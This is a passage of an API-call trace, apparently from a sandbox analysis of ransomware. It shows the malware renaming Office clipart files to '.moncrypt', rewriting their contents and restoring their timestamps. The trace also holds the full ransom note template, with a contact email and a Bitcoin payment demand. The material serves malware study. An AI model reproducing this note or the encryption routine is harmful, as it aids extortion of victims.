lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.663] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.663] CloseHandle (hObject=0x188) returned 1 [0059.663] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0059.663] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.663] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.664] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.664] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.664] GlobalUnlock (hMem=0x44000c) returned 0 [0059.664] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.664] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.664] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.664] GlobalUnlock (hMem=0x44000c) returned 0 [0059.664] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.664] GlobalUnlock (hMem=0x440004) returned 0 [0059.664] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.664] CharLowerBuffW (in: lpsz="AN01039_.WMF", cchLength=0xc | out: lpsz="an01039_.wmf") returned 0xc [0059.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.664] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.665] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.665] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN01039_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d83ea00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d83ea00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.665] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.665] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.665] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.665] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF", dwFileAttributes=0x20) returned 1 [0059.666] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.moncrypt")) returned 1 [0059.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.667] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.667] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xd10 [0059.667] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.667] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xd10, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0xd10, lpOverlapped=0x0) returned 1 [0059.669] GlobalLock (hMem=0x440004) returned 0x550170 [0059.669] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.669] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.669] GlobalUnlock (hMem=0x440004) returned 0 [0059.669] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.669] GlobalUnlock (hMem=0x44000c) returned 0 [0059.669] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.669] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.669] GlobalUnlock (hMem=0x44000c) returned 0 [0059.669] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.669] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0xd30, lpOverlapped=0x0) returned 1 [0059.669] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.670] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.681] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.681] CloseHandle (hObject=0x188) returned 1 [0059.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.682] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.682] CloseHandle (hObject=0x188) returned 1 [0059.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.682] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.682] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.682] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.682] GlobalUnlock (hMem=0x44000c) returned 0 [0059.683] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.683] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.683] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.683] GlobalUnlock (hMem=0x44000c) returned 0 [0059.683] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.683] GlobalUnlock (hMem=0x440004) returned 0 [0059.683] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.683] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.683] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.683] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.683] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.683] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.683] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.683] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.683] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.684] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.684] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.684] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.684] CloseHandle (hObject=0x188) returned 1 [0059.684] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0059.684] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.684] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.684] GlobalLock (hMem=0x440004) returned 0x550170 [0059.684] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.684] GlobalUnlock (hMem=0x440004) returned 0 [0059.684] GlobalLock (hMem=0x440004) returned 0x550170 [0059.684] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.684] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.684] GlobalUnlock (hMem=0x440004) returned 0 [0059.684] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.684] GlobalUnlock (hMem=0x44000c) returned 0 [0059.684] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.685] CharLowerBuffW (in: lpsz="AN01044_.WMF", cchLength=0xc | out: lpsz="an01044_.wmf") returned 0xc [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.685] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN01044_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.685] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.685] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.686] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF", dwFileAttributes=0x20) returned 1 [0059.686] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.moncrypt")) returned 1 [0059.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.687] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.687] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x63c [0059.687] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.687] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x63c, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ea34*=0x63c, lpOverlapped=0x0) returned 1 [0059.690] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.690] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.690] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.690] GlobalUnlock (hMem=0x44000c) returned 0 [0059.690] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.690] GlobalUnlock (hMem=0x440004) returned 0 [0059.690] GlobalLock (hMem=0x440004) returned 0x550170 [0059.690] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.690] GlobalUnlock (hMem=0x440004) returned 0 [0059.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.702] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.702] CloseHandle 